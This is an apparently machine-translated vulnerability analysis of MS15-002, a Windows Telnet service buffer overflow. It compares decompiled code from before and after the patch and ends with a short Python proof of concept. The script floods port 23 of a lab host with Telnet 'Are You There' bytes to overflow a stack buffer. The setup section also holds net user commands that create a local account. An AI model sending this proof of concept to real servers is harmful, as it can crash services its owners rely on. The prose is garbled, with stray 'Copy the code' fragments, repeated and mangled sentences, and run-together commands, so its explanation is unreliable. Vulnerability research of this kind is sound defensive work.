Cssembly · 2015/01/16 9:09

0x00 Vulnerability principle analysis


Ms15-002 is a buffer overflow vulnerability in Microsoft Telnet service. The following section analyzes its principle and constructs POC.

The Telnet service process is TLntsvr. exe, and a TLNtess. exe process is started and executed for each client connection. The tlntess. exe file is patched

#! c++ signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket(CRFCProtocol *this, unsigned __int32 *a2)Copy the code

Before the patch, the functions are:

After the patch, the function is:

So one buffer is now two. Call done

#! c++ (*(void (__thiscall **)(CRFCProtocol *, unsigned __int8 **, unsigned __int8 **, unsigned __int8))((char *)&off_1011008 + v12))(v2,&v13,&v9,v6)Copy the code

After that, the length of the data in the buffer is judged first, if

#! c++ (unsigned int)(v9 - (unsigned __int8 *)&Src - 1) <= 0x7FECopy the code

Determines the number of characters that can be contained in the target buffer, if

#! c++ (unsigned int)((char *)v14 + v7 - (_DWORD)&Dst) >= 0x800Copy the code

Otherwise, the command is executed

#! c++ memcpy_s(v14, (char *)&v18 - (_BYTE *)v14, &Src, v9 - (unsigned __int8 *)&Src)Copy the code

Copy data to the Dst buffer.

Before the patch, only one buffer is called

#! c++ (*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)Copy the code

V13 – &Src <= 2048, v13 points to the available buffer header, and v13 – &Src <= 2048

#! c++ (*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)Copy the code

The value of v13 will be modified if called

#! c++ void __thiscall CRFCProtocol::DoTxBinary(CRFCProtocol *this, unsigned __int8 **a2, unsigned __int8 **a3, unsigned __int8 a4)Copy the code

Function, you can see that the function modifies the value of argument 3, *a3 += 3.

If v13 – &Src =2047, then v13 – &Src <= 2048 is satisfied. If (*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6) calls CRFCProtocol::DoTxBinary and executes the following sequence of instructions, the buffer overflow will be obvious.

#! c++ v7 = *a3; *v7 = -1; v7[1] = -3; v7[2] = a4; v7[3] = 0; *a3 += 3;Copy the code

The patched version takes two buffers, passing the temporary buffer pointer V9 to

#! c++ (*(void (__thiscall **)(CRFCProtocol *, unsigned __int8 **, unsigned __int8 **, unsigned __int8))((char *)&off_1011008 + v12))(v2,&v13,&v9,v6)Copy the code

(unsigned int)((char *)v14 + v7 – (_DWORD)&Dst) >= 0x800); (char *)v14 + v7 – (_DWORD)&Dst) >= 0x800;

0x01 Environment construction and POC construction


Net user exp 123456 /ADD ADD user exp to net localgroup TelnetClients exp /ADD ADD user exp to net localgroup TelnetClients This allows you to log in through the Telnet client.

Debugging found

#! c++ signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket(CRFCProtocol *this, unsigned __int32 *a2)Copy the code

Where a2 is the length of the received data, up to 0x400, v6 refers to the received data, it is clear that in order to trigger an overflow, the data must be bloated when calling ((&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6). Ensure that the length of data in the Src buffer after processing is greater than 0x800.

View functions that can be called at (*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6),

#! c++ void __thiscall CRFCProtocol::AreYouThere(CRFCProtocol *this, unsigned __int8 **a2, unsigned __int8 **a3, unsigned __int8 a4)Copy the code

A4 is one byte of received data, and after execution, 9 bytes of fixed data will be written to the buffer pointed to by A3.

Through wireshark cut package, simply analyze the agreement, construct the POC as follows, let the program to be executed multiple times CRFCProtocol: : AreYouThere function, eventually trigger the exception.

#! Python import socket address = ('192.168.172.152', 23) s = socket.socket(socket.af_inet, socket.SOCK_STREAM) s.connect(address) data = "\xff\xf6" * 0x200 s.send(data) s.recv(512) s.close()Copy the code

Run poC in

#! c++ signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket( CRFCProtocol *this, unsigned __int32 *a2)Copy the code

A2 = 0x400, (DWORD)((DWORD*)(this+0x1E40)+ 0x16C8) points to the received data.

The breakpoint is set before the function returns, and after execution, you can see that __security_check_cookie detects a stack overflow and raises an exception that interrupts to the debugger.